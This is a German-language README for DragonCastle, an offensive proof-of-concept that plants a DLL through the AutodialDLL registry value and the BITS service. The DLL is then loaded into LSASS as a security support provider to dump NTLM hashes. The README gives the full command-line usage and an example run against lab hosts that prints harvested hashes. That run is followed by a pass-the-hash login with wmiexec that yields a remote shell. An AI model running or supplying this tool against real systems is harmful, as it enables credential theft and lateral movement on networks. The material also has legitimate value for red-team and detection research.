DragonCastle

Ein PoC, der die laterale Bewegungstechnik AutodialDLL mit SSP kombiniert, um NTLM-Hashes aus dem LSASS-Prozess zu extrahieren.

Beschreibung

Laden Sie eine DLL auf das Zielsystem hoch. Anschließend wird die Remote-Registrierung aktiviert, um den AutodialDLL-Eintrag zu ändern und den BITS-Dienst zu starten/neu zu starten. Svchosts lädt unsere DLL, setzt AutodialDLL wieder auf den Standardwert zurück und führt eine RPC-Anfrage aus, um LSASS zu zwingen, dieselbe DLL als Sicherheitsunterstützungsanbieter zu laden. Sobald die DLL von LSASS geladen ist, durchsucht sie den Prozessspeicher, um NTLM-Hashes sowie den Schlüssel/IV zu extrahieren.

Die DLLMain gibt immer False zurück, sodass die Prozesse sie nicht behalten.

Einschränkungen

Es funktioniert nur, wenn RunAsPPL nicht aktiviert ist. Außerdem habe ich nur Unterstützung für die Entschlüsselung von 3DES hinzugefügt, weil ich faul bin, aber es sollte einfach sein, Code für AES hinzuzufügen. Aus demselben Grund habe ich nur Unterstützung für die folgenden Windows-Versionen implementiert:

Build	Unterstützung
Windows 10 version 21H2
Windows 10 version 21H1	Implementiert
Windows 10 version 20H2	Implementiert
Windows 10 version 20H1 (2004)	Implementiert
Windows 10 version 1909	Implementiert
Windows 10 version 1903	Implementiert
Windows 10 version 1809	Implementiert
Windows 10 version 1803	Implementiert
Windows 10 version 1709	Implementiert
Windows 10 version 1703	Implementiert
Windows 10 version 1607	Implementiert
Windows 10 version 1511
Windows 10 version 1507
Windows 8
Windows 7

Die Signaturen/Offsets/Strukturen stammen von Mimikatz. Wenn Sie eine neue Version hinzufügen möchten, überprüfen Sie einfach die Sekurlsa-Funktionalität in Mimikatz.

Verwendung

psyconauta@insulanova:~/Research/dragoncastle|⇒  python3 dragoncastle.py -h                                                                                                                                            
		DragonCastle - @TheXC3LL


usage: dragoncastle.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [-hashes [LMHASH]:NTHASH] [-no-pass] [-k] [-dc-ip ip address] [-target-ip ip address] [-local-dll dll to plant] [-remote-dll dll location]

DragonCastle - A credential dumper (@TheXC3LL)

optional arguments:
  -h, --help            show this help message and exit
  -u USERNAME, --username USERNAME
                        valid username
  -p PASSWORD, --password PASSWORD
                        valid password (if omitted, it will be asked unless -no-pass)
  -d DOMAIN, --domain DOMAIN
                        valid domain name
  -hashes [LMHASH]:NTHASH
                        NT/LM hashes (LM hash can be empty)
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it
  -local-dll dll to plant
                        DLL location (local) that will be planted on target
  -remote-dll dll location
                        Path used to update AutodialDLL registry value

Beispiel

Windows Server auf 192.168.56.20 und Domänencontroller auf 192.168.56.10:

psyconauta@insulanova:~/Research/dragoncastle|⇒  python3 dragoncastle.py -u vagrant -p 'vagrant' -d WINTERFELL -target-ip 192.168.56.20 -remote-dll "c:\dump.dll" -local-dll DragonCastle.dll                          
		DragonCastle - @TheXC3LL


[+] Connecting to 192.168.56.20
[+] Uploading DragonCastle.dll to c:\dump.dll
[+] Checking Remote Registry service status...
[+] Service is down!
[+] Starting Remote Registry service...
[+] Connecting to 192.168.56.20
[+] Updating AutodialDLL value
[+] Stopping Remote Registry Service
[+] Checking BITS service status...
[+] Service is down!
[+] Starting BITS service
[+] Downloading creds
[+] Deleting credential file
[+] Parsing creds:

		============
----
User: vagrant
Domain: WINTERFELL
----
User: vagrant
Domain: WINTERFELL
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977b98c6c9282c5c478be1d97b237b8
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977b98c6c9282c5c478be1d97b237b8
----
User: vagrant
Domain: WINTERFELL
NTLM: e02bc503339d51f71d913c245d35b50b
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: WINTERFELL$
Domain: SEVENKINGDOMS
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: UMFD-0
Domain: Font Driver Host
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: 
Domain: 
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: 
Domain: 

		============
[+] Deleting DLL

[^] Have a nice day!

psyconauta@insulanova:~/Research/dragoncastle|⇒  wmiexec.py -hashes :d977b98c6c9282c5c478be1d97b237b8 SEVENKINGDOMS/[email protected]          
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
sevenkingdoms\eddard.stark

C:\>whoami /priv

PRIVILEGES INFORMATION
----------------------